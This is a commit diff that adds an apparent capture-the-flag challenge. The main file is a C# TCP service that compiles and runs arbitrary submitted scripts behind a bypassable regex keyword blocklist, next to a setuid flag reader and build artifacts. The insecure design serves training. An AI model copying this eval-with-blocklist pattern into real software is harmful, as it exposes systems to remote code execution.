huge commit

This commit is contained in:
2026-03-09 21:44:25 +01:00
parent ab2e537520
commit d1017bae51
441 changed files with 3438154 additions and 1363 deletions

View File

@@ -0,0 +1,22 @@
FROM mcr.microsoft.com/dotnet/sdk:9.0@sha256:3fcf6f1e809c0553f9feb222369f58749af314af6f063f389cbd2f913b4ad556 AS build
COPY flag /flag
COPY readflag /readflag
RUN chown 0:0 /readflag \
&& chmod u+s /readflag \
&& chown 0:0 /flag \
&& chmod 400 /flag
WORKDIR /app
# Copy everything
COPY cs-script-time ./cs-script-time
# Restore as distinct layers
WORKDIR cs-script-time
RUN dotnet restore
# Build and publish a release
ENTRYPOINT ["dotnet", "run"]

View File

@@ -0,0 +1,129 @@
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using CSScriptLib;
namespace Challenge
{
internal class Program
{
private const String HEADER = @"
public object Do()
{
var result = new System.Collections.ArrayList();";
private const String FOOTER = @"
if (result.Count == 0) return null;
return result;
}
";
private const string NAMESPACES = "using System.Collections;\n" +
"using System.Collections.Generic;\n" +
"using Math = System.Math;\n" +
"using ArrayList = System.Collections.ArrayList;\n" +
"using TimeSpan = System.TimeSpan;\n" +
"using DateTime = System.DateTime;\n" +
"using Random = System.Random;\n" +
"using DayOfWeek = System.DayOfWeek;\n";
private const string SCRIPTBASE = "public class Script\n{\n";
private const string SCRIPTBASE_END = " }";
static async Task Main(string[] args)
{
await StartTcpListenerAsync();
}
private static async Task StartTcpListenerAsync()
{
TcpListener listener = new TcpListener(IPAddress.Any, 1337);
listener.Start();
Console.WriteLine("TCP Listener started on port 1337.");
while (true)
{
TcpClient client = await listener.AcceptTcpClientAsync();
Console.WriteLine("Client connected.");
_ = HandleClientAsync(client);
}
}
private static async Task HandleClientAsync(TcpClient client)
{
using (NetworkStream stream = client.GetStream())
{
var welcomeMessage = $"Welcome to the script evaluator. Write your script and finish it with $EOF\n";
byte[] welcomeMessageBytes = Encoding.UTF8.GetBytes(welcomeMessage);
await stream.WriteAsync(welcomeMessageBytes, 0, welcomeMessageBytes.Length);
byte[] buffer = new byte[1024*128];
StringBuilder sb = new StringBuilder();
do {
int offset = 0;
int bytesRead = await stream.ReadAsync(buffer, offset, buffer.Length - offset);
sb.Append(Encoding.UTF8.GetString(buffer, offset, bytesRead));
offset += bytesRead;
}
while (!sb.ToString().Contains("$EOF"));
var request = sb.ToString();
request = request.Replace("$EOF", "");
Console.WriteLine($"Received: {request}");
// Check for restricted keywords using regex
string pattern = @"\b(new|using|System|Microsoft|invoke)\b";
if (Regex.IsMatch(request, pattern, RegexOptions.IgnoreCase))
{
string errorResponse = "Script execution denied due to restricted keywords.\n";
byte[] errorResponseBytes = Encoding.UTF8.GetBytes(errorResponse);
await stream.WriteAsync(errorResponseBytes, 0, errorResponseBytes.Length);
Console.WriteLine("Error response sent due to restricted keywords.");
client.Close();
return;
}
string script = $"{NAMESPACES}\n{SCRIPTBASE}\n{HEADER}\n{request}\n{FOOTER}\n{SCRIPTBASE_END}\n\n";
var fullScriptResponse = $"\n========== \nFull Script: \n{script}";
byte[] fullScriptResponseBytes = Encoding.UTF8.GetBytes(fullScriptResponse);
await stream.WriteAsync(fullScriptResponseBytes, 0, fullScriptResponseBytes.Length);
try
{
dynamic scriptObj = CSScript.Evaluator
.LoadCode(script);
dynamic scriptResult = scriptObj.Do();
string response;
if (scriptResult != null)
{
response = $"Script executed successfully. Result: {scriptResult}";
}
else
{
response = "Script executed successfully but returned null.";
}
byte[] responseBytes = Encoding.UTF8.GetBytes(response);
await stream.WriteAsync(responseBytes, 0, responseBytes.Length);
Console.WriteLine("Response sent.");
}
catch (Exception ex)
{
string errorResponse = $"Error executing script: {ex.Message}";
byte[] errorResponseBytes = Encoding.UTF8.GetBytes(errorResponse);
await stream.WriteAsync(errorResponseBytes, 0, errorResponseBytes.Length);
Console.WriteLine("Error response sent.");
}
}
client.Close();
}
}
}

View File

@@ -0,0 +1,296 @@
{
"runtimeTarget": {
"name": ".NETCoreApp,Version=v9.0",
"signature": ""
},
"compilationOptions": {},
"targets": {
".NETCoreApp,Version=v9.0": {
"cs-script-time/1.0.0": {
"dependencies": {
"CS-Script": "4.8.27"
},
"runtime": {
"cs-script-time.dll": {}
}
},
"CS-Script/4.8.27": {
"dependencies": {
"Microsoft.CodeAnalysis.CSharp.Scripting": "4.11.0",
"Microsoft.CodeAnalysis.Scripting.Common": "4.11.0",
"Microsoft.Extensions.DependencyModel": "9.0.0"
},
"runtime": {
"lib/netstandard2.0/CSScriptLib.dll": {
"assemblyVersion": "4.8.27.0",
"fileVersion": "4.8.27.0"
}
}
},
"Microsoft.CodeAnalysis.Common/4.11.0": {
"runtime": {
"lib/net8.0/Microsoft.CodeAnalysis.dll": {
"assemblyVersion": "4.11.0.0",
"fileVersion": "4.1100.24.37604"
}
},
"resources": {
"lib/net8.0/cs/Microsoft.CodeAnalysis.resources.dll": {
"locale": "cs"
},
"lib/net8.0/de/Microsoft.CodeAnalysis.resources.dll": {
"locale": "de"
},
"lib/net8.0/es/Microsoft.CodeAnalysis.resources.dll": {
"locale": "es"
},
"lib/net8.0/fr/Microsoft.CodeAnalysis.resources.dll": {
"locale": "fr"
},
"lib/net8.0/it/Microsoft.CodeAnalysis.resources.dll": {
"locale": "it"
},
"lib/net8.0/ja/Microsoft.CodeAnalysis.resources.dll": {
"locale": "ja"
},
"lib/net8.0/ko/Microsoft.CodeAnalysis.resources.dll": {
"locale": "ko"
},
"lib/net8.0/pl/Microsoft.CodeAnalysis.resources.dll": {
"locale": "pl"
},
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.resources.dll": {
"locale": "pt-BR"
},
"lib/net8.0/ru/Microsoft.CodeAnalysis.resources.dll": {
"locale": "ru"
},
"lib/net8.0/tr/Microsoft.CodeAnalysis.resources.dll": {
"locale": "tr"
},
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.resources.dll": {
"locale": "zh-Hans"
},
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.resources.dll": {
"locale": "zh-Hant"
}
}
},
"Microsoft.CodeAnalysis.CSharp/4.11.0": {
"dependencies": {
"Microsoft.CodeAnalysis.Common": "4.11.0"
},
"runtime": {
"lib/net8.0/Microsoft.CodeAnalysis.CSharp.dll": {
"assemblyVersion": "4.11.0.0",
"fileVersion": "4.1100.24.37604"
}
},
"resources": {
"lib/net8.0/cs/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "cs"
},
"lib/net8.0/de/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "de"
},
"lib/net8.0/es/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "es"
},
"lib/net8.0/fr/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "fr"
},
"lib/net8.0/it/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "it"
},
"lib/net8.0/ja/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "ja"
},
"lib/net8.0/ko/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "ko"
},
"lib/net8.0/pl/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "pl"
},
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "pt-BR"
},
"lib/net8.0/ru/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "ru"
},
"lib/net8.0/tr/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "tr"
},
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "zh-Hans"
},
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll": {
"locale": "zh-Hant"
}
}
},
"Microsoft.CodeAnalysis.CSharp.Scripting/4.11.0": {
"dependencies": {
"Microsoft.CodeAnalysis.CSharp": "4.11.0",
"Microsoft.CodeAnalysis.Common": "4.11.0",
"Microsoft.CodeAnalysis.Scripting.Common": "4.11.0"
},
"runtime": {
"lib/net8.0/Microsoft.CodeAnalysis.CSharp.Scripting.dll": {
"assemblyVersion": "4.11.0.0",
"fileVersion": "4.1100.24.37604"
}
},
"resources": {
"lib/net8.0/cs/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "cs"
},
"lib/net8.0/de/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "de"
},
"lib/net8.0/es/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "es"
},
"lib/net8.0/fr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "fr"
},
"lib/net8.0/it/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "it"
},
"lib/net8.0/ja/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "ja"
},
"lib/net8.0/ko/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "ko"
},
"lib/net8.0/pl/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "pl"
},
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "pt-BR"
},
"lib/net8.0/ru/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "ru"
},
"lib/net8.0/tr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "tr"
},
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "zh-Hans"
},
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
"locale": "zh-Hant"
}
}
},
"Microsoft.CodeAnalysis.Scripting.Common/4.11.0": {
"dependencies": {
"Microsoft.CodeAnalysis.Common": "4.11.0"
},
"runtime": {
"lib/net8.0/Microsoft.CodeAnalysis.Scripting.dll": {
"assemblyVersion": "4.11.0.0",
"fileVersion": "4.1100.24.37604"
}
},
"resources": {
"lib/net8.0/cs/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "cs"
},
"lib/net8.0/de/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "de"
},
"lib/net8.0/es/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "es"
},
"lib/net8.0/fr/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "fr"
},
"lib/net8.0/it/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "it"
},
"lib/net8.0/ja/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "ja"
},
"lib/net8.0/ko/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "ko"
},
"lib/net8.0/pl/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "pl"
},
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "pt-BR"
},
"lib/net8.0/ru/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "ru"
},
"lib/net8.0/tr/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "tr"
},
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "zh-Hans"
},
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.Scripting.resources.dll": {
"locale": "zh-Hant"
}
}
},
"Microsoft.Extensions.DependencyModel/9.0.0": {
"runtime": {
"lib/net9.0/Microsoft.Extensions.DependencyModel.dll": {
"assemblyVersion": "9.0.0.0",
"fileVersion": "9.0.24.52809"
}
}
}
}
},
"libraries": {
"cs-script-time/1.0.0": {
"type": "project",
"serviceable": false,
"sha512": ""
},
"CS-Script/4.8.27": {
"type": "package",
"serviceable": true,
"sha512": "sha512-uhBU/H1SZR+sTLjGoaxGUHT3lhJrKUKKdqzPGcnmv1caALKpqJCwJJLsaEYObQMZCpMmYpUbQcmIgLTFp3QWdQ==",
"path": "cs-script/4.8.27",
"hashPath": "cs-script.4.8.27.nupkg.sha512"
},
"Microsoft.CodeAnalysis.Common/4.11.0": {
"type": "package",
"serviceable": true,
"sha512": "sha512-djf8ujmqYImFgB04UGtcsEhHrzVqzHowS+EEl/Yunc5LdrYrZhGBWUTXoCF0NzYXJxtfuD+UVQarWpvrNc94Qg==",
"path": "microsoft.codeanalysis.common/4.11.0",
"hashPath": "microsoft.codeanalysis.common.4.11.0.nupkg.sha512"
},
"Microsoft.CodeAnalysis.CSharp/4.11.0": {
"type": "package",
"serviceable": true,
"sha512": "sha512-6XYi2EusI8JT4y2l/F3VVVS+ISoIX9nqHsZRaG6W5aFeJ5BEuBosHfT/ABb73FN0RZ1Z3cj2j7cL28SToJPXOw==",
"path": "microsoft.codeanalysis.csharp/4.11.0",
"hashPath": "microsoft.codeanalysis.csharp.4.11.0.nupkg.sha512"
},
"Microsoft.CodeAnalysis.CSharp.Scripting/4.11.0": {
"type": "package",
"serviceable": true,
"sha512": "sha512-sNeVeHfGHEPtxYGQIP+0BSTSBuv+dkWP5HEc1FstJpyYlibqKOmFm3y2j1AwEx9sKoRTs01092yrTH9BwZsxFQ==",
"path": "microsoft.codeanalysis.csharp.scripting/4.11.0",
"hashPath": "microsoft.codeanalysis.csharp.scripting.4.11.0.nupkg.sha512"
},
"Microsoft.CodeAnalysis.Scripting.Common/4.11.0": {
"type": "package",
"serviceable": true,
"sha512": "sha512-UHZIAKQcLB00N7AvMoyEYLw8qvFmGcKffEm/M2dEqYz2TWUtQW2j0+nGglbt9VwOId6TrDZGQlGjX90VNFak/w==",
"path": "microsoft.codeanalysis.scripting.common/4.11.0",
"hashPath": "microsoft.codeanalysis.scripting.common.4.11.0.nupkg.sha512"
},
"Microsoft.Extensions.DependencyModel/9.0.0": {
"type": "package",
"serviceable": true,
"sha512": "sha512-saxr2XzwgDU77LaQfYFXmddEDRUKHF4DaGMZkNB3qjdVSZlax3//dGJagJkKrGMIPNZs2jVFXITyCCR6UHJNdA==",
"path": "microsoft.extensions.dependencymodel/9.0.0",
"hashPath": "microsoft.extensions.dependencymodel.9.0.0.nupkg.sha512"
}
}
}

View File

@@ -0,0 +1,12 @@
{
"runtimeOptions": {
"tfm": "net9.0",
"framework": {
"name": "Microsoft.NETCore.App",
"version": "9.0.0"
},
"configProperties": {
"System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
}
}
}

View File

@@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net9.0</TargetFramework>
<RootNamespace>cs_script_time</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="CS-Script" Version="4.8.27" />
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")]

View File

@@ -0,0 +1,22 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
using System;
using System.Reflection;
[assembly: System.Reflection.AssemblyCompanyAttribute("cs-script-time")]
[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0+ab2e537520d744ed1dc55722fadac5af1cb89268")]
[assembly: System.Reflection.AssemblyProductAttribute("cs-script-time")]
[assembly: System.Reflection.AssemblyTitleAttribute("cs-script-time")]
[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
// Generated by the MSBuild WriteCodeFragment class.

View File

@@ -0,0 +1 @@
aec4bdc7b8f1ca0854e5ace2a7604a55214d0b9bc1ed06c0a0f6e4213d8a7d28

View File

@@ -0,0 +1,25 @@
is_global = true
build_property.TargetFramework = net9.0
build_property.TargetFramework = net9.0
build_property.TargetPlatformMinVersion =
build_property.TargetPlatformMinVersion =
build_property.UsingMicrosoftNETSdkWeb =
build_property.UsingMicrosoftNETSdkWeb =
build_property.ProjectTypeGuids =
build_property.ProjectTypeGuids =
build_property.InvariantGlobalization =
build_property.InvariantGlobalization =
build_property.PlatformNeutralAssembly =
build_property.PlatformNeutralAssembly =
build_property.EnforceExtendedAnalyzerRules =
build_property.EnforceExtendedAnalyzerRules =
build_property._SupportedPlatformList = Linux,macOS,Windows
build_property._SupportedPlatformList = Linux,macOS,Windows
build_property.TargetFrameworkIdentifier = .NETCoreApp
build_property.TargetFrameworkVersion = v9.0
build_property.RootNamespace = cs_script_time
build_property.ProjectDir = /home/cato/ctf/2026/cscg/misc/cs-script-time/
build_property.EnableComHosting =
build_property.EnableGeneratedComInterfaceComImportInterop =
build_property.EffectiveAnalysisLevelStyle = 9.0
build_property.EnableCodeStyleSeverity =

View File

@@ -0,0 +1,8 @@
// <auto-generated/>
global using System;
global using System.Collections.Generic;
global using System.IO;
global using System.Linq;
global using System.Net.Http;
global using System.Threading;
global using System.Threading.Tasks;

View File

@@ -0,0 +1 @@
65156bc56f438cb587d4c6feb37411fb34c7817b5188fc854695a823d27170b1

View File

@@ -0,0 +1,74 @@
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.deps.json
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.runtimeconfig.json
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.pdb
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/CSScriptLib.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.CSharp.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.CSharp.Scripting.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.Scripting.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.Extensions.DependencyModel.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.Scripting.resources.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.csproj.AssemblyReference.cache
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.GeneratedMSBuildEditorConfig.editorconfig
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.AssemblyInfoInputs.cache
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.AssemblyInfo.cs
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.csproj.CoreCompileInputs.cache
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-scrip.9E1DC1FB.Up2Date
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/refint/cs-script-time.dll
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.pdb
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.genruntimeconfig.cache
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/ref/cs-script-time.dll

View File

@@ -0,0 +1 @@
477d0c0d4e2995213b4a5603a000fcf9645956d8c6400ee5ad18fab80be0dcc7

View File

@@ -0,0 +1,87 @@
{
"format": 1,
"restore": {
"/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj": {}
},
"projects": {
"/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj": {
"version": "1.0.0",
"restore": {
"projectUniqueName": "/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj",
"projectName": "cs-script-time",
"projectPath": "/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj",
"packagesPath": "/home/cato/.nuget/packages/",
"outputPath": "/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/",
"projectStyle": "PackageReference",
"configFilePaths": [
"/home/cato/.nuget/NuGet/NuGet.Config"
],
"originalTargetFrameworks": [
"net9.0"
],
"sources": {
"https://api.nuget.org/v3/index.json": {}
},
"frameworks": {
"net9.0": {
"targetAlias": "net9.0",
"projectReferences": {}
}
},
"warningProperties": {
"warnAsError": [
"NU1605"
]
},
"restoreAuditProperties": {
"enableAudit": "true",
"auditLevel": "low",
"auditMode": "direct"
},
"SdkAnalysisLevel": "10.0.100"
},
"frameworks": {
"net9.0": {
"targetAlias": "net9.0",
"dependencies": {
"CS-Script": {
"target": "Package",
"version": "[4.8.27, )"
}
},
"imports": [
"net461",
"net462",
"net47",
"net471",
"net472",
"net48",
"net481"
],
"assetTargetFallback": true,
"warn": true,
"downloadDependencies": [
{
"name": "Microsoft.AspNetCore.App.Ref",
"version": "[9.0.13, 9.0.13]"
},
{
"name": "Microsoft.NETCore.App.Host.linux-x64",
"version": "[9.0.13, 9.0.13]"
},
{
"name": "Microsoft.NETCore.App.Ref",
"version": "[9.0.13, 9.0.13]"
}
],
"frameworkReferences": {
"Microsoft.NETCore.App": {
"privateAssets": "all"
}
},
"runtimeIdentifierGraphPath": "/usr/share/dotnet/sdk/10.0.103/PortableRuntimeIdentifierGraph.json"
}
}
}
}
}

View File

@@ -0,0 +1,21 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<RestoreSuccess Condition=" '$(RestoreSuccess)' == '' ">True</RestoreSuccess>
<RestoreTool Condition=" '$(RestoreTool)' == '' ">NuGet</RestoreTool>
<ProjectAssetsFile Condition=" '$(ProjectAssetsFile)' == '' ">$(MSBuildThisFileDirectory)project.assets.json</ProjectAssetsFile>
<NuGetPackageRoot Condition=" '$(NuGetPackageRoot)' == '' ">/home/cato/.nuget/packages/</NuGetPackageRoot>
